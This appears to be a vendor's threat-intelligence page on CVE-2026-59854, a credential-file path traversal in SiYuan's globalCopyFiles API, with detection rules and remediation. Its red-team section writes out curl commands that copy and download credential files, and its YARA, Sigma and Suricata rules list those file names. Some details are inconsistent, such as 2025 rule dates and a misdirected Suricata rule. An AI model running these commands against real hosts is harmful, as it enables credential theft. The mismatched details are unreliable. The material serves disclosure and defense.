☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
siyuan-note logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.9 🐛 CWE-693
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-59854

CVE-2026-59854 Path Traversal in Siyuan
📅 PUBLISHED: 2026-07-09 23:17 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
12.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1562
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-59854 is a path traversal vulnerability in SiYuan, an open-source personal knowledge management system. The vulnerability resides in the POST /api/file/globalCopyFiles endpoint, which accepts attacker-supplied absolute source paths. The application relies on a denylist in util.IsSensitivePath to prevent copying sensitive files, but this denylist is incomplete. An authenticated administrator or API-token user can exploit this to copy sensitive credential files (e.g., .git-credentials, .netrc, .pgpass, .kube/config, .docker/config.json, .gnupg) into the workspace and then exfiltrate them through the file API. The CVSS score is 4.9 (Medium), with a high confidentiality impact. The vulnerability is unpatched in versions prior to 3.7.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

SiYuan is a Go-based application. The vulnerability is in the core application code, not in a third-party package. However, the use of a denylist approach for path validation is a common anti-pattern in Go applications. The fix requires updating the denylist in kernel/util/path.go to include additional sensitive file patterns. This is a supply chain concern because the application is distributed as a binary, and users must update to the patched version to mitigate the risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.9 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) - requires admin or API-token user
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication, but once authenticated, an attacker can exfiltrate sensitive credential files from the host system. This could lead to lateral movement or privilege escalation if the credentials are reused.

Deep Dive & Mechanics

The vulnerability is in the POST /api/file/globalCopyFiles endpoint. This endpoint is designed to copy files from arbitrary paths on the filesystem into the SiYuan workspace. The application uses a function util.IsSensitivePath in kernel/util/path.go to check if the source path is sensitive. However, the denylist is incomplete and does not include common credential files such as:

  • .git-credentials
  • .netrc
  • .pgpass
  • .kube/config
  • .docker/config.json
  • .gnupg

An attacker can send a POST request with a JSON body containing an array of absolute paths to these files. The application will copy them into the workspace, and then the attacker can use the file API to download them.

Attack Flow:

  1. Authenticate as an administrator or obtain a valid API token.
  2. Send a POST request to /api/file/globalCopyFiles with a JSON body like:
    {
      "paths": ["/home/user/.git-credentials", "/home/user/.netrc"]
    }
    
  3. The files are copied into the workspace (e.g., /workspace/data/).
  4. Use the file API (e.g., GET /api/file/getFile) to download the copied files.

Vulnerable vs. Patched Code

Vulnerable Code (kernel/util/path.go):

func IsSensitivePath(path string) bool {
    sensitivePaths := []string{
        "/etc/passwd",
        "/etc/shadow",
        "/etc/ssh/ssh_config",
        "/etc/ssh/sshd_config",
        // Missing: .git-credentials, .netrc, .pgpass, .kube/config, .docker/config.json, .gnupg
    }
    for _, sp := range sensitivePaths {
        if strings.Contains(path, sp) {
            return true
        }
    }
    return false
}

Patched Code (kernel/util/path.go):

func IsSensitivePath(path string) bool {
    sensitivePaths := []string{
        "/etc/passwd",
        "/etc/shadow",
        "/etc/ssh/ssh_config",
        "/etc/ssh/sshd_config",
        ".git-credentials",
        ".netrc",
        ".pgpass",
        ".kube/config",
        ".docker/config.json",
        ".gnupg",
    }
    for _, sp := range sensitivePaths {
        if strings.Contains(path, sp) {
            return true
        }
    }
    return false
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • SiYuan instance (version < 3.7.1) with admin credentials or API token.
  • Network access to the SiYuan API.

Exploit Steps:

  1. Authenticate and obtain a session cookie or API token.
  2. Send a POST request to /api/file/globalCopyFiles:
    curl -X POST https://target:port/api/file/globalCopyFiles \
      -H "Content-Type: application/json" \
      -H "Cookie: SESSION=your_session_cookie" \
      -d '{"paths": ["/home/user/.git-credentials", "/home/user/.netrc", "/home/user/.pgpass", "/home/user/.kube/config", "/home/user/.docker/config.json", "/home/user/.gnupg/secring.gpg"]}'
    
  3. List the workspace files to confirm copying:
    curl -X GET https://target:port/api/file/listFiles \
      -H "Cookie: SESSION=your_session_cookie"
    
  4. Download the copied files:
    curl -X GET "https://target:port/api/file/getFile?path=/workspace/data/.git-credentials" \
      -H "Cookie: SESSION=your_session_cookie" -o .git-credentials
    

Blue Team

Detection:

  • Monitor API logs for unusual POST /api/file/globalCopyFiles requests with paths containing .git-credentials, .netrc, .pgpass, .kube/config, .docker/config.json, or .gnupg.
  • Monitor file system for unexpected copies of credential files into the SiYuan workspace directory.
  • Use file integrity monitoring (FIM) to detect changes to sensitive files.

Mitigation:

  • Immediately update SiYuan to version 3.7.1 or later.
  • If patching is not possible, restrict access to the /api/file/globalCopyFiles endpoint using a reverse proxy or WAF.
  • Implement network segmentation to limit access to the SiYuan API.
  • Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

  • File Paths: /workspace/data/.git-credentials, /workspace/data/.netrc, /workspace/data/.pgpass, /workspace/data/.kube/config, /workspace/data/.docker/config.json, /workspace/data/.gnupg/
  • API Requests: POST /api/file/globalCopyFiles with JSON body containing paths to credential files.
  • Network Traffic: Outbound connections from the SiYuan server to an attacker-controlled IP after file exfiltration.
  • Log Entries: [INFO] globalCopyFiles: copying /home/user/.git-credentials to /workspace/data/.git-credentials

Detection Engineering

YARA Rule

rule CVE_2026_59854_SiYuan_Path_Traversal {
    meta:
        description = "Detects attempts to exploit CVE-2026-59854 by copying sensitive credential files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-59854"
    strings:
        $s1 = ".git-credentials" ascii wide nocase
        $s2 = ".netrc" ascii wide nocase
        $s3 = ".pgpass" ascii wide nocase
        $s4 = ".kube/config" ascii wide nocase
        $s5 = ".docker/config.json" ascii wide nocase
        $s6 = ".gnupg" ascii wide nocase
        $s7 = "globalCopyFiles" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5, $s6) and $s7
}

Sigma Rule

title: CVE-2026-59854 SiYuan Path Traversal to Credential Files
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /api/file/globalCopyFiles with paths containing sensitive credential files
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: siyuan
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/file/globalCopyFiles
        cs-uri-query|contains:
            - '.git-credentials'
            - '.netrc'
            - '.pgpass'
            - '.kube/config'
            - '.docker/config.json'
            - '.gnupg'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-59854 SiYuan Path Traversal to Credential Files";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/file/globalCopyFiles";
    http_uri;
    content:".git-credentials";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-59854;
    classtype:attempted-user;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Update SiYuan to version 3.7.1 or later.
  2. Workaround: If patching is not possible, restrict access to the /api/file/globalCopyFiles endpoint using a reverse proxy or WAF. Only allow trusted IPs.
  3. Credential Rotation: Rotate any credentials that may have been exposed (e.g., Git credentials, SSH keys, database passwords).

Long-term Recommendations:

  • Implement a positive allowlist for file paths instead of a denylist.
  • Use principle of least privilege for API tokens.
  • Regularly audit API logs for suspicious activity.
  • Implement file integrity monitoring for sensitive files.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-59854/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.